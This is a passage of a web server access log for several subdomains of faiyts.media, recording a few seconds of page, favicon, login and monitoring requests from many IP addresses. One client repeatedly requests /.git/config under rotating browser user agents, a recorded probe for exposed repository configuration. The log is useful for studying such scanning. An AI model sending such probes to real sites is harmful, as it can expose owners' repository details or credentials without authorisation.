AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +158.222.134.185 - - [01/Jun/2024:13:37:18 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:37:18 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +88.99.28.94 - - [01/Jun/2024:13:37:19 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:19 -0500] "GET /.git/config HTTP/2.0" 401 574 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" +176.9.99.241 - - [01/Jun/2024:13:37:19 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +73.127.153.240 - - [01/Jun/2024:13:37:19 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:37:20 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:20 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" +176.9.140.11 - - [01/Jun/2024:13:37:20 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.237 - - [01/Jun/2024:13:37:20 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:37:20 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:37:20 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +73.108.217.109 - - [01/Jun/2024:13:37:20 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.237 - - [01/Jun/2024:13:37:20 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:21 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +73.108.217.109 - - [01/Jun/2024:13:37:21 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:21 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:37:21 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +73.127.153.240 - - [01/Jun/2024:13:37:21 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:21 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:21 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +176.9.140.11 - - [01/Jun/2024:13:37:21 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.167 - - [01/Jun/2024:13:37:21 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +176.9.99.241 - - [01/Jun/2024:13:37:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +91.90.120.14 - - [01/Jun/2024:13:37:22 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +154.28.229.205 - - [01/Jun/2024:13:37:22 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.164 - - [01/Jun/2024:13:37:22 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +93.123.39.11 - - [01/Jun/2024:13:37:22 -0500] "GET /.git/config HTTP/2.0" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" +71.204.68.82 - - [01/Jun/2024:13:37:22 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:22 -0500] "HEAD / HTTP/1.1" 400 0 "-" "python-requests/2.27.1" +93.123.39.11 - - [01/Jun/2024:13:37:22 -0500] "GET /login?returnUrl=%2F.git%2Fconfig HTTP/2.0" 200 7631 "https://tv.faiyts.media/.git/config" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +88.99.28.94 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.198 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.43 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.194 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.32 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.194 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.74 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.141 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.15 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.56 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.185 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.74 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.102 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.239 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.58 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.204 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.117 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.247 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.21 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.165 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.81 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.40 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.234 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.100 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.15 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3225 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.102 - - [01/Jun/2024:13:37:23 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.239 - - [01/Jun/2024:13:37:23 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.124 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.196 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.8 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.91 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.229 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.40 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.14 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.195 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.96 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.203 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.64 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.168 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.195 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.20 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.215 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.69 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.78 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.184 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.186 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.5 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.92 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:23 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +104.164.173.77 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.123 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.190 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.220 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.90 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.40 - - [01/Jun/2024:13:37:23 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.186 - - [01/Jun/2024:13:37:23 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:23 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +104.164.173.247 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.100 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.78 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.184 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3225 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +88.99.28.94 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.60 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.250 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.73 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.1 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.75 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.156 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.218 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.216 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.232 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.6 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.136 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.227 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.250 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.225 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.209 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.44 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.80 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.114 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.146 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.41 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 